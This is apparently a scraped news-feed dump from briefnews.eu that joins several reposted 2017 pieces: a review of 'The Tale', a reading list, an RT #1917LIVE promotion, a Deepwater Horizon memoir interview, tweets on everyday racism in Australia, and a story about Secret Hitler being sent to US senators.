The adult Fox explores these memories as she reads through the story she wrote at age 13 and the film seamlessly jumps back and forth between them. Like a detective, she pours over details from her past, suddenly course-correcting when she uncovers something she’s hidden deep in the back of her mind where it can’t hurt her. Her mother helps along the way, as do her childhood friends, bringing about the realization of the full extent of the sexual abuse Fox endured at the hands of her running coach Bill and even his accomplice Mrs. G. But it’s always a struggle as the adult Fox keeps trying to repress certain elements, even going so far as to push away her fiance (Common) from helping her work through this complicated issue.

As Fox digs into her past, there are sequences where she communicates with both her memories and the people in them as if they were right next to her in the car or sitting down for some kind of documentary interview. These are the barricades she has built to keep her from reliving this trauma, opting for the happy memory that doesn’t turn her into a helpless victim. It’s a compelling and clever narrative device employed to illustrate how much Fox is struggling with unfurling her sexual abuse

The events that unfold on-screen are extremely uncomfortable and even disturbing to watch. Jason Ritter’s performance as the seemingly caring mentor who turns out to be a gentle monster (the worst kind) is impeccably unsettling. Elizabeth Debicki also brings a charming chilliness that makes it clear why Fox trusted her so much during the time spent at her ranch, and inevitably by herself at Bill’s house. It’s a reminder that these kind of sexual predators are everywhere, and there’s no telling how many victims out there have repressed memories just like Fox.

However, it’s Laura Dern’s stirring performance and young Isabelle Nélisse as her younger self who drive the movie. Dern grows increasingly panicked and determined as more of her memories come to light while Nélisse also goes through a transformation of sorts as her younger self comes to terms with what she really endured at 13 years old. Each actress eventually stands strong in the face of such heinous acts, and the film becomes what will undoubtedly be a pivotal piece in strengthening and continuing the #MeToo movement tearing through our culture.

Jennifer Fox’s The Tale is courageous and carefully crafted. Though the story may seem a little too timely, this is something Fox has been dealing with for decades, and the movie has been in the works for six years. The fact is there’s no perfect time for this story, because these stories shouldn’t exist. This isn’t just Jennifer’s story. It’s also the story of far too many victims out there. But it’s one that must be told to hopefully prevent any future stories like this from being told ever again.

/Film Rating: 10 out of 10

The post ‘The Tale’ Review: This Brave & Heartrending Story Couldn’t Be More Important or Timely [Sundance] appeared first on /Film.

]]> https://briefnews.eu/the-tale-review-this-brave-heartrending-story-couldnt-be-more-important-or-timely-sundance/feed/ 0 Recommended Reading: ‘Wonder Woman’ is timely superhero movie https://briefnews.eu/recommended-reading-wonder-woman-is-timely-superhero-movie/ https://briefnews.eu/recommended-reading-wonder-woman-is-timely-superhero-movie/#respond Sat, 03 Jun 2017 16:57:18 +0000 http://briefnews.eu/recommended-reading-wonder-woman-is-timely-superhero-movie/

Wonder Woman,
Heroine of the
Post-Truth Age
Megan Garber,
The Atlantic

Wonder Woman may be set in the time of World War I, but the movie’s themes are particularly relevant right now. The Atlantic analyzes how a female superhero rescues a solider on the run before taking on a much bigger foe — and what all of that means for in the present day. That Lasso of Truth sure would come in handy for us in 2017.

The Complete, Untold History of Halo
Steve Haske, Waypoint

A behind-the-scenes look at Halo, including new accounts from the folks who made it.

If We Want Bionic Limbs That Actually Work, We Might Need Smarter Amputations
Sarah Fecht, Popular Science

The key to further advancement in bionic limbs may require an update to how doctors perform amputation procedures.

How Mad Catz Used up Its Last Life
Alex Calvin, Eurogamer

Gaming accessory company Mad Catz filed for bankruptcy back in March, but the company showed signs of struggle long before that paperwork was signed.

The Algorithms Behind ‘Moana’s’ Gorgeously Animated Ocean
Adrienne LaFrance, The Atlantic

When your animated film takes place on the open ocean, you better make sure the water looks good.

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]]> https://briefnews.eu/recommended-reading-wonder-woman-is-timely-superhero-movie/feed/ 0 'Better than history at school! Eye-opening & weirdly timely’: Twitter reacts to #1917LIVE https://briefnews.eu/better-than-history-at-school-eye-opening-weirdly-timely-twitter-reacts-to-1917live/ https://briefnews.eu/better-than-history-at-school-eye-opening-weirdly-timely-twitter-reacts-to-1917live/#respond Sun, 07 May 2017 11:34:05 +0000 http://briefnews.eu/better-than-history-at-school-eye-opening-weirdly-timely-twitter-reacts-to-1917live/

RT’s #1917LIVE re-enactment of the Russian Revolution has just witnessed Vladimir Lenin’s return home. As the Bolshevik takeover draws nearer, the events and characters gain in complexity, thanks in no small part to you, the project’s growing user base.

This would not have been possible without our many loyal readers inhabiting fascinating real-life characters as we march onwards.

This self-contained world has taken on a life of its own over the past four months, attracting project from near and far. Giving people a window into Russian history that goes beyond your typical history class has always been the aim. 

[Historical characters tell us how they lived through the Russian Revolution on #1917LIVE]

Even we, the creators, are often surprised by the humorous exchanges taking place between key historical figures – Russian, French, German – something that could never have happened in real-life 1917. One can only imagine all the tensions that could have been diffused with Twitter at the dawn of the 20th century.

READ MORE: #1917LIVE: 5 times Vladimir Lenin broke character while tweeting on trending hashtags

The country exploded in revolt in March, 1917 and to the great surprise of many, the centuries-old Russian monarchy was toppled. By April, the gloves were really off. Rallies, insubordination and open violence stretched from the central city of Samara all the way to our sailors stationed at Helsingfors, present-day Helsinki.

[The most entertaining thing on Twitter for the coming months]

Vladimir Lenin’s timely (untimely – if you’re the @ProvisionalGovernment) return spelled doom for social-democratic elites whose admirable philosophy and promise of reform never amounted to much, save for political bickering.

One-upmanship was the name of the game in April, as the Provisional Government and the rival Soviets duked it out on the political arena – a period known as the Dual Rule. The latter was intent on keeping Russia’s promise to its Entente allies, France and Britain. The Soviets – representing the soldiers, peasants and workers, opposed the plan, sowing social upheaval until Lenin’s return.

READ MORE: #1917LIVE: Real-time Lenin tracker

Their trump card was the overwhelming popular support that the social-democrat Alexander Kerensky and his cohorts never mustered. In April, we see just how risky the Provisional Government’s move to rule with just bureaucracy as its only tool.

The leader of the Bolshevik party Vladimir Lenin charted an entirely different course – one of building a global Socialist Revolution based on the key tenets of Marxism, starting at home. Lenin is forever known to history as a master manipulator with an ability to hypnotize people into rising up against seemingly insurmountable odds. His April Theses had laid the foundation for continuing this struggle for power at home.

READ MORE: #1917LIVE: Lenin talks socialist revolution in ‘real-time Q&A’ on Twitter

Plenty more developments are to follow in May, including the return of Leon Trotsky – Lenin’s closest ‘frienemy’.
Anyone is free to get involved in the project by creating a historic Twitter profile and tweeting under hashtag #1917CROWD. 

RT hopes the project’s fans and ‘characters’ will stay with us through thick and thin, until we bring the Russian Revolution to its roaring October crescendo!

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RT – Daily news

]]> https://briefnews.eu/better-than-history-at-school-eye-opening-weirdly-timely-twitter-reacts-to-1917live/feed/ 0 All the Reasons Why John Carpenter's Cult Classic They Live Is as Timely as Ever https://briefnews.eu/all-the-reasons-why-john-carpenters-cult-classic-they-live-is-as-timely-as-ever/ https://briefnews.eu/all-the-reasons-why-john-carpenters-cult-classic-they-live-is-as-timely-as-ever/#respond Thu, 20 Apr 2017 05:37:51 +0000 http://briefnews.eu/all-the-reasons-why-john-carpenters-cult-classic-they-live-is-as-timely-as-ever/
Image: Vimeo screen grab

In 2015, John Carpenter called They Live “a documentary.” Though his cult classic is nearly 30 years old, its themes of surveillance, income inequality, and the sinking suspicion that the people in charge are way more sinister than we ever realized still feel very potent. A new short doc examines why.

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Filmmaker Daniel Clarkson Fisher intersperses clips from They Live with contemporary news footage, talk-show segments, and interviews with Carpenter, actor Keith David, and others. Even if you’ve been on board with Carpenter’s semi-joking “documentary” theory for awhile (and even if you do, or do not, believe aliens are really running the show), We Sleep offers illuminating insight—no special sunglasses required. You may, however, feel a sudden urge to re-watch They Live as soon as humanly possible.

[Vimeo Staff Picks]

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]]> https://briefnews.eu/all-the-reasons-why-john-carpenters-cult-classic-they-live-is-as-timely-as-ever/feed/ 0 Flavorwire Interview: Connie May Fowler, on Her Timely New Memoir of Environmental Destruction https://briefnews.eu/flavorwire-interview-connie-may-fowler-on-her-timely-new-memoir-of-environmental-destruction/ https://briefnews.eu/flavorwire-interview-connie-may-fowler-on-her-timely-new-memoir-of-environmental-destruction/#respond Thu, 30 Mar 2017 15:25:08 +0000 http://briefnews.eu/flavorwire-interview-connie-may-fowler-on-her-timely-new-memoir-of-environmental-destruction/ In April 2010, an explosion at the Deepwater Horizon oil rig in the Gulf of Mexico catalyzed perhaps the most disastrous oil spill since the Exxon Valdez. Nearly 5 million barrels of oil — enough to fill 311 Olympic-size swimming pools — leaked into the Gulf, affecting 665 miles of coastline, and the lives of thousands of people. One of those people was author Connie May Fowler, and A Million Fragile Bones is her cry from the heart about the destruction of her home and sacred space in Florida’s Alligator Point. She spoke to Flavorwire about finding resilience when everything you care about is threatened by destruction — and when the very forces that are ruining your life are also gaslighting you and denying the damage caused.

Flavorwire: You open your memoir talking about how your home on Alligator Point had become a refuge for you before the spill. I think a lot of us are finding that our current refuges, both physical and mental, are being breached right now — either by hate crimes, environmental damage, or just the growing understanding of threats [to us and our way of life]. What can your story tell us about resilience and how to face up to the potential destruction of what’s sacred to us?

Connie May Fowler: In the memoir, you see me working out what is sacred to me and why. I think identifying what and why is deceptively complex. It took me years to recognize that much of my need to find refuge in nature was a daughter’s attempt to remain connected to her long-dead father. What now seems like an obvious truth came to me only through the writing. And also this: I learned knowledge not only gives you power, it gives you courage. I wept for years. I grieved with a purity that could break stone. And now I am ready to do the necessary work, to fight for what is left, for what I love, for what this good Earth needs.

If grief is required, grieve quickly. We no longer have the luxury of time. Whatever a person’s sacred space might be — and increasingly we have to acknowledge that we, ourselves, are sacred spaces who are under ever greater threat — the defense and protection of that space is paramount.

We created, and are living during, the Sixth Great Extinction. In the midst of that horror, fascism is spreading its dark shadow across the globe. Talk about a double whammy! In the face of the total destruction of an environment I held sacred, I realized I could not remain shattered by the trauma. They say a fractured bone, once healed, is stronger than its unbroken counterparts. So I suppose the lesson, if there is one, is to use the tragedy, the trauma, the threat as your strength. The sacred in the world demands nothing less of us.

You mention how this tragedy “pushed the buttons” of your past traumas. You’ve written in both memoir and fiction about all kinds of intimate, interpersonal human trauma, abuse and primal loss. How did writing about the trauma of watching your environment destroyed compare to tackling these subjects — or did you feel like you were really playing with the same register of emotions?

That is a really great question. I think the register of emotions deepened and expanded by virtue of the magnitude of the disaster. More than 200 million gallons of oil gushed unchecked into the Gulf of Mexico for 87 days. Even worse is the real possibility the Gulf will never recover. After seven years, fish continue to develop cancerous lesions. Dolphin birthrates are below average and stillbirths remain common. Tuna continue to experience mortality-inducing heart arrhythmias. BP’s oil and Corexit have found their way into our food chain. You know, one of the worst aspects of violence is the sense of abject helplessness you experience amid victimization. I think it was this sense of helplessness and the primal rage that accompanied it that reopened the door to past traumas. Every psychic Band-Aid I’d ever slapped on myself was ripped off.

Sometimes I think we don’t talk about the destruction of the environment because the only conclusion we can draw is so bleak and so all-encompassing that it’s almost too much to take in. What role can writers and artists play in helping bridge that gap?

First of all, if we don’t address climate change and its attendant horrors now, there will be nothing left to write about. It is the most pressing issue of our time. This is a simple but sobering truth: Humankind’s welfare is directly tied to that of the planet. Sick planet? Sick people.

Scientists explore facts. Artists and writers lift a mirror to society so that our fellow travelers on this planet are exposed to those facts — no matter how basic or transcendent — through the scrim of humanity, through the what-ifs of human existence. Every artistic medium is a means of storytelling. It is through interaction with creativity that we are changed, moved, made better.

There are reasons why one of the first things the new regime did was target the EPA and why the new Secretary of State is the former the CEO of Exxon — he only stepped down from Exxon on December 31, 2016. We cannot allow the enormity of the problem to overwhelm us. Rather, we have to tell the story. That’s our job. How much of the planet’s travails, and therefore ours, are explored in any given work is a matter of modulation and artistic expression. But to not address it at all because we feel overwhelmed is a cowardly move. I suspect James Baldwin felt overwhelmed fairly frequently. But he didn’t stop writing his truth.

You describe going to Miami after the spill and watching people’s eyes glaze over as you talk about what’s happening. Do you have any advice about getting past that reaction or is the best approach to find someone who does care?

Given the magnitude of the disaster, their reaction astounded me. At that very moment, the Gulf loop current was perilously close to delivering the oil to their front yards. So I kept talking, hoping something I would say would melt the glaze. You never know. But I don’t think we can settle for preaching to the choir.

Sometimes people listen because they care about dolphins and sea turtles. Sometimes they listen because they are avid fishermen so, despite what their day-to-day politics might be, they care about the environment. Sometimes they listen because they are concerned about their property values. Sometimes they listen because they can’t abide corporate financial immorality. BP was fined $ 18 billion to be paid out over 18 years and a huge percentage of the fine is tax deductible, so essentially they got a slap on the wrist. That’s a fact that upsets some people, that causes them to tune in. I think we have to find out what moves an individual and enter through that window.

There is a painful interlude where you talk about watching BP ads and spokespeople on TV, a blitz that “rendered the coastal residents invisible.” You wrote, “I want to shout, ‘See this? This is the empirical truth.’” This certainly resonated; it feels like we’re living in a post-truth era. Do you think that storytelling is the best way to combat that?

There is a reason why George Orwell’s 1984 continues to top Amazon’s bestseller list. People turn to literature not simply for escape but to look for signposts on how to survive, how to love more deeply, how to live a fuller and more honest life, and to gain a deeper understanding of the human condition, although they might not recognize their motivations as such. In a post-truth era, we are forced to ask, Is The Handmaid’s Tale farfetched or prescient? Storytelling is an essential tool in battling doublespeak, yes. But now that we live in a world of “alternative facts” and flagrant lies that go unchallenged, a free press rigorously doing its job is of paramount importance. The fact that storytelling enters the marrow like little else makes it, too, an essential act of resistance and recovery. If we have no baseline for truth, the number one actor in society is chaos.

You write, “The ghoulish nature of most of my internet searches no longer rattles me. I’m resigned to this new reality, hardened on the edge of bitterness.” I found the internet’s role in your memoir really fascinating. It’s a huge part of our emotional lives. How did you handle writing the internet into your story, and how re you rationing your internet usage now?

In terms of the oil spill, social media became and remains the headquarters from which community activists, environmentalists, and everyday citizens stay informed, disseminate vital information, battle BP’s PR machine, and work to hold our government accountable.

As I wrote the memoir, I researched my Facebook posts from April 20, 2010 — the day of the Deepwater Horizon explosion — and onward because my entries and the responses posted were, in essence, an hour-by-hour journal of what was happening in the Gulf, what was happening onshore, what actions we needed to take to protect our beaches and wildlife, what resources were available to help the out-of-work fishermen, what precautions we needed to take to protect our health, and much more. Because of how detailed, factual, and emotionally honest they were, the Facebook posts became integral to that part of the story.

And, it’s ongoing. The community that spontaneously gathered on social media continues to actively engage in the dissemination of the latest scientific research. We provide emotional support to each other. During the height of the spill, in response to paid trolls, we learned how to disappear overnight and create new groups the next day so that we could remain productive. We learned important lessons on how social media could be used to help affect change and inform large numbers of people, lessons that are helpful today given our current political climate.

As far as rationing, yes, it has become important to know when to step away. We sometimes have to remind ourselves of the importance of living in the real world and that the virtual world exists to augment, not rule, our lives. We have to ask, “Am I learning anything new or am I simply reading rants that hurt my soul?” And, you know, if we’re gloaming through the Internet all day, it means we’re not writing or we’re not marching or we’re not talking to our children or we’re not taking the time to walk outside and marvel at the sky.

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Flavorwire

]]> https://briefnews.eu/flavorwire-interview-connie-may-fowler-on-her-timely-new-memoir-of-environmental-destruction/feed/ 0 People Are Sharing Their Stories Of Everyday Racism And It's Timely AF https://briefnews.eu/people-are-sharing-their-stories-of-everyday-racism-and-its-timely-af/ https://briefnews.eu/people-are-sharing-their-stories-of-everyday-racism-and-its-timely-af/#respond Tue, 21 Mar 2017 05:37:39 +0000 http://briefnews.eu/people-are-sharing-their-stories-of-everyday-racism-and-its-timely-af/

1. Of all the days to announce an overhaul of Australia’s race hate laws, prime minister Malcolm Turnbull chose today, March 21, the “International Day for the Elimination of Racial Discrimination”.

Of all the days to announce an overhaul of Australia's race hate laws, prime minister Malcolm Turnbull chose today, March 21, the

View this image ›

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It’s also known as “Harmony Day”, which is supposed to be Australia’s national day for celebrating diversity.

Instead, Turnbull said that the government will remove the words “offend, insult and humiliate” from the Racial Discrimination Act, to be replaced by the word “harass”.

2. Chef Adam Liaw used the occasion to write about racism in Australia in 2017.

for outsourcing customer care to The Philippines (not really their call). All stressed they “weren’t being racist”. I believe that 100%.

— Adam Liaw (@adamliaw)

I accept dealing with a customer service is stressful. I also accept maybe they would’ve spoken like that to white staff too. I don’t know.

— Adam Liaw (@adamliaw)

But I can guarantee you it’s much, much easier to be rude to someone you don’t think is your equal.

— Adam Liaw (@adamliaw)

Not one racial epithet was said, and nobody was being “racist”. But this is racism. Racism isn’t just for “racists”.

— Adam Liaw (@adamliaw)

Our politicians will argue a lot today about who has the right to say racist things, and whether it should be criminal.

— Adam Liaw (@adamliaw)

I’ve had my accent (do I have one?) mocked THOUSANDS of times. I’ve been told to go back to where I came from THOUSANDS of times.

— Adam Liaw (@adamliaw)

I’ve been called a ‘gook’, ‘nip’, ‘ching-chong’ or any number of racist names THOUSANDS of times.

— Adam Liaw (@adamliaw)

My beautiful, adorable kids will be called those names. I KNOW that because it’s happened to every single Asian person I know in Australia.

— Adam Liaw (@adamliaw)

They’ll be physically abused for their race, too. I KNOW that because it’s happened to every single Asian person I know in Australia.

— Adam Liaw (@adamliaw)

I cried a bit typing that, but that’s life.

— Adam Liaw (@adamliaw)

The odds of me, or them, bringing legal action around it are next to nil. Amend 18C or don’t. I truly don’t feel strongly about it.

— Adam Liaw (@adamliaw)

But don’t pretend it solves the problems we have in this country with race either way.

— Adam Liaw (@adamliaw)

The racism I worry about isn’t getting abused on a bus while someone films it on their phone. Or running into “a racist” in a dark alley.

— Adam Liaw (@adamliaw)

Most Australians aren’t racists. Neither are the kids who will one day tease my kids for their race. The racism I worry about is systemic.

— Adam Liaw (@adamliaw)

It’s under-representation media, boardrooms, or the slightest inkling that kids with brown skin are less Australian than if they were white.

— Adam Liaw (@adamliaw)

I’m lucky to do what I do. Maybe for it Asian-Australians of my kids’ generation won’t grow up thinking they need to be somebody’s sidekick.

— Adam Liaw (@adamliaw)

I don’t mean to come across as preachy or anything, but thanks for listening. Happy #HarmonyDay!

— Adam Liaw (@adamliaw)

23. Writer Benjamin Law responded by starting the hashtag #FreedomOfSpeech, calling on others to share their stories.

At the age of 10, I was at the local pool as a group of white boys held my head underwater, laughing at me for being Asian. #FreedomOfSpeech

— Benjamin Law (@mrbenjaminlaw)

24. People were keen to tell their story.

Being so generic brown that dude couldn’t figure out which racial slur to use. He tried them all #FreedomofSpeech

— ainsindahouse (@ainsindahouse)

25. #FreedomOfSpeech was the number one trending topic around Australia on this momentous day.

Last year explained what structural racism is on JJJ and two white dudes tracked me down online to berate me. #FreedomOfSpeech

— Bhakthi (@bhakthi)

#FreedomOfSpeech a cop saw me with my (black) boyfriend and gave me unsolicited DV hotline numbers @mrbenjaminlaw

— milleficent (@mymillshake)

Childhood years:
1. Where are you really from?
2. Where is your camel?
3. Why don’t you wear a towel/sheet/rag on ur head?
#FreedomofSpeech

— TM (@hayes_tm)

When I was 10 my best mate told me he “didn’t like Aboriginals”, but he couldn’t say why. They start em quick in Australia #FreedomofSpeech

— Alex McKinnon (@mckinnon_a)

Mother w child asks if I am Persian (Kardashian enthusiast?) before stating she “doesn’t like foreigners” #FreedomOfSpeech @mrbenjaminlaw

— Tara Kenny (@wordsbytara)

2010: a man yells out that I’m a “coconut” while I’m eating breakfast with my Mum. I just wanna eat breakfast peacefully… #FreedomofSpeech

— Faustina Agolley (@Faustinathefuzz)

Getting asked if I’m an au pair when hanging out with my white friend’s kids (this has happened more than once) #FreedomOfSpeech

— Yen-Rong Wong | 黃彥蓉 (@inexorablist)

Being called an abo, coon, boong, coconut, darkie, etc etc before the end of primary school #FreedomofSpeech

— Sharon Davis (@AETLCEWA)

When your uni peers sitting beside you have a loud discussion about how much they hate Asians for not doing work “right”. #FreedomOfSpeech

— putangina (@arielnano)

Yr 7 teacher thought it was hilarious to encourage classmates to call me ‘Wog-io’ and ‘Spaghettio’ instead of Lessio. #FreedomofSpeech

— Nicole Lessio (@NicoleLessio)

#FreedomofSpeech

— Nova Peris OAM (@NovaPeris)

36. It couldn’t have been more timely.

#FreedomofSpeech

— Nova Peris OAM (@NovaPeris)

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]]> https://briefnews.eu/people-are-sharing-their-stories-of-everyday-racism-and-its-timely-af/feed/ 0 ‘Secret Hitler’ sent to US senators as timely warning https://briefnews.eu/secret-hitler-sent-to-us-senators-as-timely-warning/ https://briefnews.eu/secret-hitler-sent-to-us-senators-as-timely-warning/#respond Sun, 26 Feb 2017 16:28:09 +0000 http://briefnews.eu/secret-hitler-sent-to-us-senators-as-timely-warning/

Senators across the US received a copy of a new board game called Secret Hitler in a move that is part publicity stunt, part timely political statement warning of the dangers of fascism.

Each of the 100 US senators received a letter along with the social deduction game that models the rise of fascism in a democratic system.

“To achieve his evil ends, Adolf Hitler required the cooperation of well-meaning men who hoped to appease and control the Nazis,” the letter reads. “Our game explores that relationship and highlights the difficulty of recognizing your own manipulation before it’s too late.”

“Although our game takes place in 1933 Germany, we thought you and your staff would find our game relevant as you negotiate the balance of power within the Trump White House.”

Secret Hitler players are given an identity, liberal, fascist or Hitler. The fascists are aware of their identity, and of Hitler’s, but the liberals and the player with Hitler token have no idea of their character.

In each round, there is a president and a chancellor. The president gives the chancellor three policies and the chancellor chooses one to pass.

The liberals win the game by getting five liberal policies passed or killing Hitler, while the fascists must get six fascist policies passed or elect Hitler as chancellor after three fascist policies have been passed. At the same time, both sides must keep their identities under wraps.

The letter also highlights the importance of the senators’ role in democracy. “The legislative branch plays an essential role in a stable, functioning democracy now more than ever,” it reads.

Secret Hitler, created by Mike Boxleiter, Tommy Maranges and Max Temkin – the man behind Cards Against Humanity – has been commended by reviewers for the tough choices, lies and allegiances within the game.

Many social media users expressed envy at the senators who received the game for free.

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